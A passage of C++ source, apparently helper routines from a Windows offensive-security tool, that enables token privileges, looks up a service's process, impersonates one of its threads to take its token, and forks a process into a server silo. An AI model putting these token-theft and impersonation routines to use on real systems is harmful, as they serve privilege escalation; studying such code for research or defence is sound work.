dwPrivilegeNameLength; 355 | PTOKEN_PRIVILEGES pTokenPrivileges = NULL; 356 | LUID_AND_ATTRIBUTES laa = { 0 }; 357 | LPWSTR pwszPrivilegeNameTemp = NULL; 358 | TOKEN_PRIVILEGES tp = { 0 }; 359 | 360 | if (Token) 361 | { 362 | hToken = Token; 363 | } 364 | else 365 | { 366 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) 367 | { 368 | PRINT_ERROR_WIN32(L"OpenProcessToken"); 369 | goto exit; 370 | } 371 | } 372 | 373 | if (!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwTokenInfoSize)) 374 | { 375 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) 376 | { 377 | PRINT_ERROR_WIN32(L"GetTokenInformation"); 378 | goto exit; 379 | } 380 | } 381 | 382 | if (!(pTokenPrivileges = (PTOKEN_PRIVILEGES)Common::Alloc(dwTokenInfoSize))) goto exit; 383 | 384 | if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenInfoSize, &dwTokenInfoSize)) 385 | { 386 | PRINT_ERROR_WIN32(L"GetTokenInformation"); 387 | goto exit; 388 | } 389 | 390 | for (DWORD i = 0; i < pTokenPrivileges->PrivilegeCount; i++) 391 | { 392 | laa = pTokenPrivileges->Privileges[i]; 393 | dwPrivilegeNameLength = 0; 394 | 395 | if (!LookupPrivilegeNameW(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength)) 396 | { 397 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) 398 | { 399 | PRINT_ERROR_WIN32(L"LookupPrivilegeNameW"); 400 | goto exit; 401 | } 402 | } 403 | 404 | dwPrivilegeNameLength += 1; 405 | 406 | if (pwszPrivilegeNameTemp = (LPWSTR)Common::Alloc(dwPrivilegeNameLength * sizeof(*pwszPrivilegeNameTemp))) 407 | { 408 | if (LookupPrivilegeNameW(NULL, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength)) 409 | { 410 | if (_wcsicmp(pwszPrivilegeNameTemp, Privilege) == 0) 411 | { 412 | bPrivilegeFound = TRUE; 413 | 414 | ZeroMemory(&tp, sizeof(tp)); 415 | tp.PrivilegeCount = 1; 416 | tp.Privileges[0].Luid = laa.Luid; 417 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 418 | 419 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) 420 | bResult = TRUE; 421 | else 422 | PRINT_ERROR_WIN32(L"AdjustTokenPrivileges"); 423 | 424 | 425 | 426 | break; 427 | 428 | } 429 | } 430 | else 431 | { 432 | PRINT_ERROR_WIN32(L"LookupPrivilegeNameW"); 433 | } 434 | 435 | Common::Free(pwszPrivilegeNameTemp); 436 | } 437 | } 438 | 439 | exit: 440 | if (!bPrivilegeFound) 441 | { 442 | SetLastError(ERROR_PRIVILEGE_NOT_HELD); 443 | PRINT_ERROR_WIN32(L"EnablePrivilege"); 444 | } 445 | 446 | if (pTokenPrivileges) Common::Free(pTokenPrivileges); 447 | if (!Token && hToken) CloseHandle(hToken); 448 | 449 | return bResult; 450 | } 451 | 452 | BOOL Common::QueryServiceProcessId(_In_ LPCWSTR Service, _Out_ PDWORD ProcessId) 453 | { 454 | BOOL bResult = FALSE; 455 | SC_HANDLE hSCM = NULL, hService = NULL; 456 | SERVICE_STATUS_PROCESS ssp = { 0 }; 457 | DWORD dwBytesNeeded = 0; 458 | 459 | *ProcessId = 0; 460 | 461 | if (!(hSCM = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))) 462 | { 463 | PRINT_ERROR_WIN32(L"OpenSCManagerW"); 464 | goto exit; 465 | } 466 | 467 | if (!(hService = OpenServiceW(hSCM, Service, SERVICE_QUERY_STATUS))) 468 | { 469 | PRINT_ERROR_WIN32(L"OpenServiceW"); 470 | goto exit; 471 | } 472 | 473 | if (!QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(ssp), &dwBytesNeeded)) 474 | { 475 | PRINT_ERROR_WIN32(L"QueryServiceStatusEx"); 476 | goto exit; 477 | } 478 | 479 | *ProcessId = ssp.dwProcessId; 480 | bResult = TRUE; 481 | 482 | exit: 483 | if (hService) CloseServiceHandle(hService); 484 | if (hSCM) CloseServiceHandle(hSCM); 485 | 486 | return bResult; 487 | } 488 | 489 | BOOL Common::OpenServiceToken(_In_ LPCWSTR Service, _Out_ PHANDLE Token) 490 | { 491 | BOOL bResult = FALSE, bImpersonation = FALSE; 492 | NTSTATUS status; 493 | DWORD dwServicePid = 0; 494 | HANDLE hThread = NULL, hToken = NULL; 495 | HANDLE hSnapshot = INVALID_HANDLE_VALUE; 496 | THREADENTRY32 the = { 0 }; 497 | SECURITY_QUALITY_OF_SERVICE sqos = { 0 }; 498 | 499 | *Token = NULL; 500 | 501 | if (!Common::QueryServiceProcessId(Service, &dwServicePid)) goto exit; 502 | 503 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 504 | if (hSnapshot == INVALID_HANDLE_VALUE) 505 | { 506 | PRINT_ERROR_WIN32(L"CreateToolhelp32Snapshot"); 507 | goto exit; 508 | } 509 | 510 | the.dwSize = sizeof(the); 511 | 512 | if (!Thread32First(hSnapshot, &the)) 513 | { 514 | PRINT_ERROR_WIN32(L"Thread32First"); 515 | goto exit; 516 | } 517 | 518 | do 519 | { 520 | if (the.th32OwnerProcessID == dwServicePid) 521 | { 522 | if (hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, the.th32ThreadID)) 523 | break; 524 | } 525 | 526 | } while (Thread32Next(hSnapshot, &the)); 527 | 528 | if (!hThread) 529 | { 530 | PRINT_ERROR_WIN32(L"OpenThread"); 531 | goto exit; 532 | } 533 | 534 | ZeroMemory(&sqos, sizeof(sqos)); 535 | sqos.Length = sizeof(sqos); 536 | sqos.ImpersonationLevel = SecurityImpersonation; 537 | 538 | status = NtImpersonateThread(GetCurrentThread(), hThread, &sqos); 539 | if (!NT_SUCCESS(status)) 540 | { 541 | PRINT_ERROR_NT(L"NtImpersonateThread", status); 542 | goto exit; 543 | } 544 | 545 | bImpersonation = TRUE; 546 | 547 | if (!OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) 548 | { 549 | PRINT_ERROR_WIN32(L"OpenThreadToken"); 550 | goto exit; 551 | } 552 | 553 | *Token = hToken; 554 | bResult = TRUE; 555 | 556 | exit: 557 | if (!bResult && hToken) CloseHandle(hToken); 558 | if (bImpersonation) RevertToSelf(); 559 | if (hThread) CloseHandle(hThread); 560 | if (hSnapshot && hSnapshot != INVALID_HANDLE_VALUE) CloseHandle(hSnapshot); 561 | 562 | return bResult; 563 | } 564 | 565 | BOOL Common::ImpersonateToken(_In_ HANDLE Token) 566 | { 567 | HANDLE hThread = GetCurrentThread(); 568 | 569 | if (!SetThreadToken(&hThread, Token)) 570 | { 571 | PRINT_ERROR_WIN32(L"SetThreadToken"); 572 | return FALSE; 573 | } 574 | 575 | return TRUE; 576 | } 577 | 578 | BOOL Common::RevertImpersonation() 579 | { 580 | if (!RevertToSelf()) 581 | { 582 | PRINT_ERROR_WIN32(L"RevertToSelf"); 583 | return FALSE; 584 | } 585 | 586 | return TRUE; 587 | } 588 | 589 | BOOL Common::ForkProcessIntoServerSilo(_In_ HANDLE ServerSilo, _Out_ LPPROCESS_INFORMATION ProcessInformation) 590 | { 591 | BOOL bResult = FALSE; 592 | NTSTATUS status; 593 | HANDLE hJobList[1] = { 0 }; 594 | HANDLE hProcess, hThread; 595 | PS_CREATE_INFO ci = { 0 }; 596 | PPS_ATTRIBUTE_LIST pAttributeList = NULL; 597 | const DWORD dwAttributeCount = 1; 598 | const SIZE_T attributeListSize = sizeof(PS_ATTRIBUTE_LIST) + ((SIZE_T)dwAttributeCount - 1) * sizeof(PS_ATTRIBUTE); 599 | 600 | *ProcessInformation = { 0 }; 601 | 602 | ci.Size = sizeof(ci); 603 | 604 | if (!(pAttributeList = (PPS_ATTRIBUTE_LIST)Common::Alloc(attributeListSize))) goto exit; 605 | 606 | hJobList[0] = ServerSilo; 607 | 608 | pAttributeList->TotalLength = attributeListSize; 609 | 610 | pAttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_JOB_LIST; 611 | pAttributeList->Attributes[0].Size = sizeof(hJobList); 612 | pAttributeList->Attributes[0].ValuePtr = &hJobList; 613 | 614 | status = NtCreateUserProcess(&hProcess, &hThread, MAXIMUM_ALLOWED, MAXIMUM_ALLOWED, NULL, NULL, PROCESS_CREATE_FLAGS_INHERIT_HANDLES, 0, NULL, &ci, pAttributeList); 615 | if (!NT_SUCCESS(status)) 616 | { 617 | PRINT_ERROR_NT(L"NtCreateUserProcess", status); 618 | goto exit; 619 | } 620 | 621 | if (status == STATUS_SUCCESS) 622 | { 623 | // Parent process 624 | ProcessInformation->hProcess = hProcess; 625 | ProcessInformation->hThread = hThread; 626 | ProcessInformation->dwProcessId = GetProcessId(hProcess); 627 | ProcessInformation->dwThreadId = GetProcessId(hProcess); 628 | bResult = TRUE; 629 | } 630 | else if (status == STATUS_PROCESS_CLONED) 631 | { 632 | // Forked process 633 | bResult = TRUE; 634 | } 635 | else 636 | { 637 | // ??? Oo 638 | PRINT_WARNING(L"Unexpected status code: 0x%08x\n", status); 639 | } 640 | 641 | exit: 642 | if (pAttributeList) Common::Free(pAttributeList); 643 | 644 | return bResult; 645 | } --------------------------------------------------------------------------------